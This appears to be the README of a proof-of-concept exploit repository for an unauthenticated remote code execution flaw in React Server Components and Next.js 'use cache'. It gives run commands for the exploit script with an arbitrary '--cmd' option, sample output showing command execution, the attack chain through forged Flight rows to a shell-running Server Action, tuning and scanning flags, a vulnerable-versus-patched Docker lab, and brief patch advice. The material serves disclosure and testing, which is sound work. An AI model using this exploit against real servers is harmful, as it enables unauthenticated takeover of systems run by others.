
PoC: unauth RCE via Next.js use-cache typed-array framing desync (CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3) | docker compose lab
use cache Typed-Array RCEUnauthenticated RCE in React Server Components (react-server-dom-webpack/-parcel/-turbopack 19.0.0–19.3.0), reachable through Next.js App Router + Cache Components — differential-verified in Docker: arbitrary command execution on 16.4.0/19.3.0, clean fail on 16.4.1/19.3.1.
Authorized testing only. Use against systems you own or have written permission to test.
| Severity | Critical — CVSS v4.0 9.5 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N) |
| Vulnerable | react-server-dom-* 19.0.0 – 19.3.0 · Next.js 16.0.0 – 16.4.0 (App Router + Cache Components) |
| Fixed | react-server-dom-* 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1 · Next.js 16.4.1 |
| CWE | CWE-416 (UAF-equivalent desync) · CWE-706 |
| PoC | poc.py — Python 3.8+, stdlib only, zero dependencies |
| Lab | Docker: vulnerable (port 3100) + patched (port 3101) for a one-command differential |
docker compose up -d --build lab # vulnerable Next.js 16.4.0 / React 19.3.0
python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'
Output on a fresh container:
[*] action id: 7fd83c9c2021a51139b13e6677e5fa38caee3da138
[+] chunk=4 overread=8192 HTTP 200
[+] Server Action executed with attacker-chosen arguments
================ action output ================
uid=1000(node) gid=1000(node) groups=1000(node)
Linux ee94eee5b39a ... aarch64 GNU/Linux
===============================================
No auth. No cookie. One GET with a crafted ?annotation= parameter → the app's own
Server Action runs any command the attacker puts in --cmd, with output returned
in the rendered page.
The repo ships two labs from the same source tree, differing only in version:
| Lab | Next.js | react-server-dom-* | Result |
|---|---|---|---|
lab (port 3100) | 16.4.0 | 19.3.0 | RCE — command output returned |
lab-patched (port 3101, --profile patched) | 16.4.1 | 19.3.1 | fails — annotation stays opaque Uint8Array(8278), no action invoked |
Same app code, same PoC, same request shape. The only variable is the patched serializer. If the "exploit" were a lab artifact or a misconfiguration, both sides would behave identically. They don't — the attack succeeds exactly on the vulnerable range and fails exactly on the fixed version. That is the definition of a validated vulnerability PoC.
GET.uid=…, uname, arbitrary --cmd) is rendered back in the page,
so execution is proven with attacker-visible evidence, not inferred from a
side effect.Both images build from node:22-bookworm-slim with no cached state; the exploit
lands on a fresh docker compose up. No host tooling, no pre-warmed cache, no
manual steps. Re-run counts: exploit confirmed on every fresh rebuild.
poc.py exits 0 only when the annotation comes back as real action output
(command results), and exits 1 when it stays an opaque Uint8Array(n) — the exact
patched-version signature. CI-able as-is:
python3 poc.py http://127.0.0.1:3100 --cmd 'id' && echo VULNERABLE
python3 poc.py http://127.0.0.1:3101 --cmd 'id' || echo PATCHED-OK
use cache function returns two Uint8Array views over one shared
ArrayBuffer plus a caller-influenced annotation.Pre-condition explains the AT:P in the CVSS vector: the app pattern (multi-view
shared ArrayBuffer in a cached function) is rare in real applications.
attacker annotation (base64, attacker bytes)
│
▼
┌─ use cache ────────────────────────────────────────┐
│ block0 [shared ArrayBuffer] ──► serialized, buffer│
│ block1 [same buffer] ──► DETACHED: length │
│ header, 0 bytes │
│ annotation ──► attacker-controlled stream bytes │
└────────────────────────────────────────────────────┘
│ cache re-read: decoder reads block1's declared
│ length FROM the annotation bytes, resumes parsing there
▼
forged Flight rows ──► server-reference chunk ──► Server Action invoked
with attacker arguments ──► /bin/sh -c "<attacker cmd>"
| Path | Purpose |
|---|---|
poc.py | stdlib-only exploit: action-id discovery, forged-row blob construction, request, output parser |
lab/ | Next.js 16.4.0 + React 19.3.0 vulnerable app (Docker) |
lab/app/payload.js | the vulnerable use cache function |
lab/app/actions.js | lab stand-in for a privileged Server Action (/bin/sh -c) |
lab/app/layout.jsx | lab UI — dark terminal theme, zero dependencies |
compose.yaml | vulnerable (3100) + patched (3101) labs, one command each |
# 1. vulnerable lab (Next.js 16.4.0 / React 19.3.0)
docker compose up -d --build lab
python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'
# 2. patched lab (Next.js 16.4.1 / React 19.3.1) — must fail
docker compose --profile patched up -d --build lab-patched
python3 poc.py http://127.0.0.1:3101 --cmd 'id'
| Flag | Default | Purpose |
|---|---|---|
--cmd | id | command executed by the hijacked Server Action |
--path | / | page hosting the cached function |
--action-id | auto | skip discovery, provide the 40–64 hex id |
--chunk-id / --overread | 4 / 8192 | resume-offset tuning |
--scan | off | sweep chunk ids × overread sizes |
--timeout / --insecure | 30 / off | HTTPS targets |
The lab page itself (http://127.0.0.1:3100/) is a small dark-themed console:
decode-result panel with status tag, operator diagnostics button whose output is
rendered on-page, and the annotation contract in the empty state. It exists so the
Server Action id ships in public HTML exactly like a real app — the same property
the PoC's discovery step relies on.
| Target | Result |
|---|---|
| lab 16.4.0 / 19.3.0 (Docker) | uid=1000(node) + uname -a + arbitrary --cmd output rendered in page — RCE confirmed |
| lab 16.4.1 / 19.3.1 (Docker) | annotation stays opaque Uint8Array(8278), no action invocation — attack fails |
| native run (same runtime as image) | identical differential — reproduces outside Docker |
react-server-dom-* to 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1 and Next.js to >= 16.4.1.use cache functions; copy
views into separate buffers (.slice()).